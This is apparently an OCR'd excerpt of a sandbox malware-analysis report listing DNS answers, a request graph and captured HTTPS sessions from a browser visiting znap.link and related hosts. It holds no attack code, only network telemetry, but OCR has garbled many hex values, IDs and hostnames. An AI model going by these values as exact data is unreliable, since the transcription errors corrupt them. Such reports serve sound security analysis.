(0) g.doubleclick.net
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
May 13, 2022 8.8.8.8 192.168.2.5 0x7802 No error (0) clients2.g clients.l.google.co CNAME IN
14:56:09.706588984 CEST oogle.com m (Canonical (0x0001)
name)
May 13, 2022 8.8.8.8 192.168.2.5 0x7802 No error (0) clients.|. 142.250.185.238 A (IP address) IN
14:56:09.706588984 CEST google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0xa805 No error (0) accounts.g 142.250.186.77 A (IP address) IN
14:56:10.087332964 CEST oogle.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x5915 No error (0) znap.link 165.227.107.5 A (IP address) IN
14:56:10.087374926 CEST (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 13, 2022 8.8.8.8 192.168.2.5 0x46a5 No error (0) app.znapli 165.227.107.5 A (IP address) IN
14:56:11.543082952 CEST nk.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x1765 No error (0) rsms.me 172.67.158.42 A (IP address) IN
14:56:11.543268919 CEST (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x1765 No error (0) rsms.me 104.21.8.250 A (IP address) IN
14:56:11.543268919 CEST (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x649 No error (0) imagedeliv 104.18.2.36 A (IP address) IN
14:56:11.610773087 CEST ery.net (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x649 No error (0) imagedeliv 104.18.3.36 A (IP address) IN
14:56:11.610773087 CEST ery.net (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x5f55 No error (0) uploads-ss 13.225.80.69 A (IP address) IN
14:56:12.446157932 CEST l.webflow.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x5f55 No error (0) uploads-ss 13.225.80.118 A (IP address) IN
14:56:12.446157932 CEST l.webflow.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x5f55 No error (0) uploads-ss 13.225.80.129 A (IP address) IN
14:56:12.446157932 CEST l.webflow.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x5f55 No error (0) uploads-ss 13.225.80.17 A (IP address) IN
14:56:12.446157932 CEST l.webflow.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxac5c No error (0) imagedeliv 104.18.3.36 A (IP address) IN
14:56:15.157944918 CEST ery.net (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxac5c No error (0) imagedeliv 104.18.2.36 A (IP address) IN
14:56:15.157944918 CEST ery.net (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0xd451 No error (0) app.znapli 165.227.107.5 A (IP address) IN
14:56:15.181143999 CEST nk.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxelf3 No error (0) ambitconsu 107.180.51.16 A (IP address) IN
14:56:23.240226030 CEST Iting.us (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0xf165 No error (0) stackpath. 104.18.11.207 A (IP address) IN
14:56:24.512389898 CEST bootstrapc (0x0001)
dn.com
May 13, 2022 8.8.8.8 192.168.2.5 0xf165 No error (0) stackpath. 104.18.10.207 A (IP address) IN
14:56:24.512389898 CEST bootstrapc (0x0001)
dn.com
May 13, 2022 8.8.8.8 192.168.2.5 Oxe8ef No error (0) maxcdn.boo 104.18.10.207 A (IP address) IN
14:56:24.512828112 CEST tstrapcdn.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxe8ef No error (0) maxcdn.boo 104.18.11.207 A (IP address) IN
14:56:24.512828112 CEST tstrapcdn.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x3675 No error (0) code.jquery.com  cds.s5x3j6g5.hwed CNAME IN
14:56:24.513811111 CEST n.net (Canonical (0x0001)
name)
May 13, 2022 8.8.8.8 192.168.2.5 0xc2d0 No error (0) cdnjs.clou 104.17.25.14 A (IP address) IN
14:56:24.533835888 CEST dflare.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0xc2d0 No error (0) cdnjs.clou 104.17.24.14 A (IP address) IN
14:56:24.533835888 CEST dflare.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x9846 No error (0) gstaticads 142.250.74.195 A (IP address) IN
14:56:24.675029039 CEST sl.l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxe56¢ No error (0) ambitconsu 107.180.51.16 A (IP address) IN
14:56:28.059302092 CEST Iting.us (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x2bc6 No error (0) www.znapli proxy- CNAME IN
14:56:29.041913033 CEST nk.com ssl.webflow.com (Canonical (0x0001)
name)
May 13, 2022 8.8.8.8 192.168.2.5 0x2bc6 No error (0) proxy-ssl. proxy-ssl- CNAME IN
14:56:29.041913033 CEST webflow.com geo.webflow.com (Canonical (0x0001)
name)
May 13, 2022 8.8.8.8 192.168.2.5 0x2bc6 No error (0) proxy-ssl- 52.49.198.28 A (IP address) IN
14:56:29.041913033 CEST geo.webflo (0x0001)
w.com
May 13, 2022 8.8.8.8 192.168.2.5 0x2bc6 No error (0) proxy-ssl- 3.248.8.137 A (IP address) IN
14:56:29.041913033 CEST geo.webflo (0x0001)
w.com
May 13, 2022 8.8.8.8 192.168.2.5 0x2bc6 No error (0) proxy-ssl- 52.212.43.230 A (IP address) IN
14:56:29.041913033 CEST geo.webflo (0x0001)
w.com
May 13, 2022 8.8.8.8 192.168.2.5 0xdb7b No error (0) www-google 142.250.184.200 A (IP address) IN
14:56:29.444031954 CEST tagmanager (0x0001)
.l.google.com
May 13, 2022 8.8.8.8 192.168.2.5 Ox2al No error (0) d3e54v103) 13.225.84.117 A (IP address) IN
14:56:29.685132027 CEST 8qbb.cloud (0x0001)
front.net
May 13, 2022 8.8.8.8 192.168.2.5 Ox2al No error (0) d3e54v103) 13.225.84.179 A (IP address) IN
14:56:29.685132027 CEST 8qbb.cloud (0x0001)
front.net
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May 13, 2022 8.8.8.8 192.168.2.5 Ox2al No error (0) d3e54v103j 13.225.84.17 A (IP address) IN
14:56:29.685132027 CEST 8qgbb.cloud (0x0001)
front.net
May 13, 2022 8.8.8.8 192.168.2.5 Ox2al No error (0) d3e54v103j 13.225.84.72 A (IP address) IN
14:56:29.685132027 CEST 8gbb.cloud (0x0001)
front.net
May 13, 2022 8.8.8.8 192.168.2.5 0x3590 No error (0) cdn.firstp d2ycxbs0cq3yaz.cl CNAME IN
14:56:30.087645054 CEST romoter.com oudfront.net (Canonical (0x0001)
name)
May 13, 2022 8.8.8.8 192.168.2.5 0x3590 No error (0) d2ycxbs0Ocq 13.224.198.52 A (IP address) IN
14:56:30.087645054 CEST 3yaz.cloud (0x0001)
front.net
May 13, 2022 8.8.8.8 192.168.2.5 0x3590 No error (0) d2ycxbs0Ocq 13.224.198.36 A (IP address) IN
14:56:30.087645054 CEST 3yaz.cloud (0x0001)
front.net
May 13, 2022 8.8.8.8 192.168.2.5 0x3590 No error (0) d2ycxbs0Ocq 13.224.198.83 A (IP address) IN
14:56:30.087645054 CEST 3yaz.cloud (0x0001)
front.net
May 13, 2022 8.8.8.8 192.168.2.5 0x3590 No error (0) d2ycxbs0Ocq 13.224.198.4 A (IP address) IN
14:56:30.087645054 CEST 3yaz.cloud (0x0001)
front.net
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) www.youtub youtube- CNAME IN
14:56:30.128050089 CEST e.com ui.l.google.com (Canonical (0x0001)
name)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 142.250.186.142 A (IP address) IN
14:56:30.128050089 CEST .L.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 172.217.23.110 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 216.58.212.142 A (IP address) IN
14:56:30.128050089 CEST .L.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 142.250.185.78 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 142.250.185.110 A (IP address) IN
14:56:30.128050089 CEST .L.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 142.250.185.142 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 142.250.185.174 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 142.250.185.206 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 142.250.185.238 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 142.250.186.174 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 142.250.181.238 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 142.250.184.238 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 172.217.16.142 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 142.250.184.206 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 216.58.212.174 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxbelf No error (0) youtube-ui 142.250.74.206 A (IP address) IN
14:56:30.128050089 CEST .l.google.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x97d2 No error (0) analytics. analytics.tiktok.co CNAME IN
14:56:30.143382072 CEST tiktok.com m.edgekey.net (Canonical (0x0001)
name)
May 13, 2022 8.8.8.8 192.168.2.5 0xf20d No error (0) www-google- 142.250.184.238 A (IP address) IN
14:56:31.154155016 CEST analytics (0x0001)
.l.google.com
May 13, 2022 8.8.8.8 192.168.2.5 Oxce35 No error (0) googleads. 142.250.186.98 A (IP address) IN
14:56:32.971427917 CEST g.doubleclick.net (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 0x7a2 No error (0) www.google.com 142.250.185.100 A (IP address) IN
14:56:33.160523891 CEST (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxfaf4 No error (0) www.google.ch 142.250.186.131 A (IP address) IN
14:56:33.169663906 CEST (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxcfb7 No error (0) uploads-ss 13.225.80.69 A (IP address) IN
14:56:42.114468098 CEST |.webflow.com (0x0001)
May 13, 2022 8.8.8.8 192.168.2.5 Oxcfb7 No error (0) uploads-ss 13.225.80.129 A (IP address) IN
14:56:42.114468098 CEST |.webflow.com (0x0001)
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Timestamp

May 13, 2022
14:56:42.114468098 CEST

May 13, 2022
14:56:42.114468098 CEST

May 13, 2022
14:56:44.716530085 CEST

May 13, 2022
14:56:44.716530085 CEST

May 13, 2022
14:56:44.716530085 CEST

May 13, 2022
14:56:44.716530085 CEST

May 13, 2022
14:56:52.266422987 CEST

May 13, 2022
14:56:52.266422987 CEST

May 13, 2022
14:57:12.849450111 CEST

May 13, 2022
14:57:12.849450111 CEST

May 13, 2022
14:57:12.849450111 CEST

May 13, 2022
14:57:12.849450111 CEST

May 13, 2022
14:57:15.844640017 CEST

May 13, 2022
14:57:15.844640017 CEST

May 13, 2022
14:57:17.281805038 CEST

May 13, 2022
14:57:17.281805038 CEST

May 13, 2022
14:57:24.286355972 CEST

May 13, 2022
14:58:45.349287987 CEST

May 13, 2022
14:58:45.349287987 CEST

May 13, 2022
14:58:54.105664968 CEST

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

192.168.2.5

HTTP Request Dependency Graph

o

clients2.google.com

.

accounts.google.com

e znap.link

e https:

e rsms.me
imagedelivery.net
app.znaplink.com

e o o o o o

uploads-ssl.webflow.com
maxcdn.bootstrapcdn.com
stackpath.bootstrapcdn.com
cdnjs.cloudflare.com

e ambitconsulting.us

HTTPS Proxied Packets
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Trans ID

Oxcfb7

Oxcfb7

OxeOe

OxeOe

Oxele

OxeOe

0xe5c0

0xe5c0

0x6183

0x6183

0x6183

0x6183

0xc4f3

0xc4f3

0x28a8

0x28a8

0x52¢c

0x7990

0x7990

Oxdcle

Reply Code

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

uploads-ss
l.webflow.com

uploads-ss
l.webflow.com

d3e54v103]
8qbb.cloud
front.net

d3e54v103]
8gbb.cloud
front.net

d3e54v103]
8qbb.cloud
front.net

d3e54v103]
8qbb.cloud
front.net

static.dou
bleclick.net

static-dou
bleclick-n
et.l.google.com

uploads-ss
l.webflow.com

uploads-ss
l.webflow.com

uploads-ss
l.webflow.com

uploads-ss
l.webflow.com

client.crisp.chat

client.crisp.chat

client.rel
ay.crisp.chat

client.rel
ay.crisp.chat

play.google.com

client.rel
ay.crisp.chat

client.rel
ay.crisp.chat

googleads.
g.doubleclick.net

CName

static-doubleclick-
net.l.google.com

Address

13.225.80.118

13.225.80.17

13.225.84.17

13.225.84.179

13.225.84.117

13.225.84.72

142.250.185.102

13.225.80.118

13.225.80.17

13.225.80.129

13.225.80.69

104.18.29.91

104.18.28.91

64.227.36.222

134.209.238.18

142.250.186.142

134.209.238.18

64.227.36.222

142.250.184.194

Type

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)

IN
(0x0001)
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Session ID Source IP
0 192.168.2.5
. kBytes
Ti t
imestamp transferred

2022-05-13 12:56:11 UTC 0

2022-05-13 12:56:11 UTC 1

2022-05-13 12:56:11 UTC 2

2022-05-13 12:56:11 UTC 3

2022-05-13 12:56:11 UTC 3

Session ID Source IP

1 192.168.2.5
. kBytes

Timestamp transferred
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Source Port

49772

Direction

ouT

Source Port

49774

Direction

Destination

Destination IP Process

Port
142.250.185.238 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /service/update2/crx?os=win&arch=x64&0s_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=
&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%
3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelp
bcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526€%253D1 HTTP/1.1
Host: clients2.google.com

Connection: keep-alive

X-Goog-Update-Interactivity: fg

X-Goog-Update-Appld: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm
X-Goog-Update-Updater: chromecrx-85.0.4183.121

Sec-Fetch-Site: none

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: empty

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Content-Security-Policy: script-src ‘report-sample’ 'nonce-7xLIWi64nX1SWyAYKe-2Qg' 'unsafe-inline' 'strict-dynamic' http
s: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1
Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Fri, 13 May 2022 12:56:11 GMT

Content-Type: text/xml; charset=UTF-8

X-Daynum: 5611

X-Daystart: 21371

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 33 36 64 0d Oa 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55
54 46 2d 38 22 3f 3e 3¢ 67 75 70 64 61 74 65 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6¢ 3d 22 32 2e 30 22 20 73 65
7276 65 72 3d 22 70 72 6f 64 22 3e 3¢ 64 61 79 73 74 61 72 74 20 65 6¢ 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 31
312220 65 6¢ 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 32 31 33 37 31 22 2f 3e 3¢ 61 70 70 20 61 70 70 69 64 3d 22
6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6¢ 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72
74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22

Data Ascii: 36d<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response"” p
rotocol="2.0" server="prod"><daystart elapsed_days="5611" elapsed_seconds="21371"/><app appid="nmmhkkegccagdld
giimedpiccmgmieda” cohort="1::" cohortname=""

Data Raw: 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6¢ 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78
222066 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37
3137 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68
5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38
373137 31373563 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f
74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65
72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61

Data Ascii: mmhkkegccagdidgiimedpiccmgmieda.crx” fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5
450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56h8717175c536685c5450122b30789464ad82"
protected="0" size="248531" status="ok" version="1.0.0.6"/></app><a

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
Destination IP Destination Process
Port
142.250.186.77 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data
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kBytes

Timestam
P transferred

2022-05-13 12:56:11 UTC 0

2022-05-13 12:56:11 UTC 1

2022-05-13 12:56:11 UTC 3

2022-05-13 12:56:11 UTC 5

2022-05-13 12:56:11 UTC 5

Session ID Source IP
10 192.168.2.5
. kBytes
Tim m|
imestamp transferred

2022-05-13 12:56:11 UTC 76

Copyright Joe Security LLC 2022

Direction

ouT

ouT

Source Port

49784

Direction

ouT

Data

POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1
Host: accounts.google.com

Connection: keep-alive

Content-Length: 1

Origin: https://www.google.com

Content-Type: application/x-www-form-urlencoded

Sec-Fetch-Site: none

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: empty

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Data Raw: 20
Data Ascii:

HTTP/1.1 200 OK

Content-Type: application/json; charset=utf-8

Access-Control-Allow-Origin: https://www.google.com

Access-Control-Allow-Credentials: true

X-Content-Type-Options: nosniff

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Fri, 13 May 2022 12:56:11 GMT

Strict-Transport-Security: max-age=31536000; includeSubDomains

Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-M
odel, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version

Cross-Origin-Opener-Policy: same-origin; report-to="IdentityListAccountsHttp"

Content-Security-Policy: script-src ‘report-sample’ 'nonce-BCvaYZIIBR7jN_4SIfHeVg' ‘unsafe-inline';object-src ‘none’;bas
e-uri 'self;report-uri /_/IdentityListAccountsHttp/cspreport;worker-src ‘self’

Content-Security-Policy: script-src 'nonce-BCvaYZIIBR7jN_4SIfHeVg' 'self' https://apis.google.com https://ssl.gstatic.com
https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp
cspreport

Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport

Report-To: {"group”:"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{“url":"https://csp.withgoogle.com/csp/rep
ort-to/ldentityListAccountsHttp/external“}]}

Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-
platform=*, ch-ua-platform-version=*

Server: ESF

X-XSS-Protection: 0

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 31 0d Oa 5b 22 67 61 69 61 2e 6¢ 2e 61 2e 72 22 2c¢ 5b 5d 5d 0d Oa
Data Ascii: 11["gaia.l.a.r",[]]

Data Raw: 30 0d Oa Od Oa

Data Ascii: 0
Destinati
Destination IP Esunation Process
Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /themes/altum/assets//growl-notification/colored-theme.min.css HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: text/css,*/*;0=0.1

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: style

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9
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kBytes

Timestam
P transferred

2022-05-13 12:56:11 UTC 88

2022-05-13 12:56:11 UTC 89

Session ID Source IP
11 192.168.2.5
. kBytes
Ti t
imestamp transferred

2022-05-13 12:56:11 UTC 76

2022-05-13 12:56:11 UTC 85

2022-05-13 12:56:11 UTC 85

Session ID Source IP

12 192.168.2.5
. kBytes

Timestamp transferred

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49785

Direction

ouT

Source Port

49790

Direction

Data

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 06 May 2021 22:36:35 GMT
ETag: "3184-5c1b0f199ccf2"
Accept-Ranges: bytes

Content-Length: 12676

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:11 GMT
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Connection: close

Content-Type: text/css

Data Raw: 2e 67 72 6f 77 6¢ 2d 6e 6f 74 69 66 69 63 61 74 69 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b
62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 33 30 70 78 20 30
207267 62 61 28 30 2c 30 2c 30 2c 2e 31 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 35 36 70 78 3b 70 6f 73 69 74 69 6f
6e 3a 66 69 78 65 64 3b 77 69 64 74 68 3a 33 32 30 70 78 3b 7a 2d 69 6e 64 65 78 3a 31 30 35 36 7d 2e 67 72 6f 77 6¢
2d 6e 6f 74 69 66 69 63 61 74 69 6f 6e 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 70 78 20 30
20 3020 34 70 78 3b 62 6f 74 74 6f 6d 3a 30 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 6¢ 65 66 74 3a 30 3b 70 6f 73 69 74 69
6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 74 6f 70 3a 30 3b 77 69 64 74

Data Ascii: .growl-notification{background:#fff;border-radius:4px;box-shadow:0 0 30px 0 rgbha(0,0,0,.1);min-height:56px;p
osition:fixed;width:320px;z-index:1056}.growl-notification:before{border-radius:4px 0 0 4px;bottom:0;content:"";left:0;p
osition:absolute;top:0;widt

Destination IP SLUE U Process
Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /themes/altum/assets//slick/slick-theme.css HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: text/css,*/*;q=0.1

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: style

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 03 Oct 2017 22:49:30 GMT
ETag: "c49-55aac4dd17280"
Accept-Ranges: bytes

Content-Length: 3145

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:11 GMT
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Connection: close

Content-Type: text/css

Data Raw: 40 63 68 61 72 73 65 74 20 27 55 54 46 2d 38 27 3b Oa 2f 2a 20 53 6¢ 69 64 65 72 20 2a 2f 0a 2e 73 6¢ 69 63
6b 2d 6¢ 6 61 64 69 6e 67 20 2e 73 6¢ 69 63 6b 2d 6¢ 69 73 74 Oa 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6€ 64 3a
20 23 66 66 66 20 75 72 6¢ 28 27 2e 2f 61 6a 61 78 2d 6¢ 6f 61 64 65 72 2e 67 69 66 27 29 20 63 65 6 74 65 72 20 63
65 6e 74 65 72 20 6e 6f 2d 72 65 70 65 61 74 3b Oa 7d Oa Oa 2f 2a 20 49 63 6f 6e 73 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61
63 65 0a 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 27 73 6¢ 69 63 6b 27 3b 0a 20 20 20 20 66 6f 6e 74 2
d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6¢ 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 74 79 6¢ 65 3a 20 6e 6f 72 6d 61 6¢ 3b
